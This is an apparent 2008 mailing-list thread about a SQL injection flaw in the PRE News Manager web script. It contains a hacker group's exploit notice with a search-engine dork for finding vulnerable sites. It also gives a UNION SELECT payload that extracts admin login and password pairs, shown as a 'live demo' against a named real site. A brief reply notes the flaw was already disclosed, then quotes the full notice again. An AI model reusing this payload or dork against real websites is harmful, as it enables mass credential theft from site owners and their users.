Onderwerp: News Manager Remote SQL Injection Vulnerability

################################################## ##################################################
# News Manager Remote SQL Injection Vulnerability #
# © Ghost Hacker , Real Hack Back #
################################################## ##################################################
#[~] Author : Ghost Hacker #
#[~] Home page : www.Real-h.com [Real Hack Back] #
#[~] Contact Me : Ghost-r00t@Hotmail.com #
#[~] Bug : SQL Injection #
#[~] From : Kingdom Saudi Arabia #
#[~] Name Script : News Manager #
#[~] Download : http://www.preprojects.com/news.asp #
################################################## ##################################################
#[~] Dork : #
# ©2006 PRE NEWS MANAGER | All Rights Reserved Or inurl:news_detail.php?nid= #
#[~] Exploit : #
# http://xxxx/news_detail.php?nid=-139...7+from+admin--
#[~] live demo : #
# http://www.preproject.com/news manager/news_detail.php?nid=-139+UNION+SELECT+1,2,concat(login,0x3a,password),3 ,5,6,7+from+admin--
################################################## ##################################################
#[~]Greets : #
# Mr.SQL , Mr.SaFa7 , Mr-3sheq , aBo3tB , Night Mare , Root Hacker , Dmar al3noOoz , L&J TeaM #
# Mr.MN7oS , Mr.Hope , EgYpTiaN x HaCkEr , PrO SpY , v4-team.com #
# All Members Real Hack , All My Friends #
################################################## ##################################################
# Viva Real Hack - Real-h.com .. #
################################################## ##################################################
__________________________________________________ _______________
Express yourself instantly with MSN Messenger! Download today it's FREE!
http://messenger.msn.click-url.com/g...ave/direct/01/

Discovered over a year ago.

http://packetstormsecurity.org/0705-...renews-sql.txt 0bae5b1d6f9d99c6749403341807f0d8 Pre News Manager version 1.0 suffers from a remote SQL injection vulnerability. &nbsp;Homepage: <a href="http://www.cyber-security.org/" target="ext">http://www.cyber-security.org/.</a>

On Thu, Oct 09, 2008 at 12:21:25PM +0300, Ghost hacker wrote:
>
> ################################################## ##################################################
> # News Manager Remote SQL Injection Vulnerability #
> # © Ghost Hacker , Real Hack Back #
> ################################################## ##################################################
> #[~] Author : Ghost Hacker #
> #[~] Home page : www.Real-h.com [Real Hack Back] #
> #[~] Contact Me : Ghost-r00t@Hotmail.com #
> #[~] Bug : SQL Injection #
> #[~] From : Kingdom Saudi Arabia #
> #[~] Name Script : News Manager #
> #[~] Download : http://www.preprojects.com/news.asp #
> ################################################## ##################################################
> #[~] Dork : #
> # ©2006 PRE NEWS MANAGER | All Rights Reserved Or inurl:news_detail.php?nid= #
> #[~] Exploit : #
> # http://xxxx/news_detail.php?nid=-139...7+from+admin--
> #[~] live demo : #
> # http://www.preproject.com/news manager/news_detail.php?nid=-139+UNION+SELECT+1,2,concat(login,0x3a,password),3 ,5,6,7+from+admin--
> ################################################## ##################################################
> #[~]Greets : #
> # Mr.SQL , Mr.SaFa7 , Mr-3sheq , aBo3tB , Night Mare , Root Hacker , Dmar al3noOoz , L&J TeaM #
> # Mr.MN7oS , Mr.Hope , EgYpTiaN x HaCkEr , PrO SpY , v4-team.com #
> # All Members Real Hack , All My Friends #
> ################################################## ##################################################
> # Viva Real Hack - Real-h.com .. #
> ################################################## ##################################################
> __________________________________________________ _______________
> Express yourself instantly with MSN Messenger! Download today it's FREE!
> http://messenger.msn.click-url.com/g...ave/direct/01/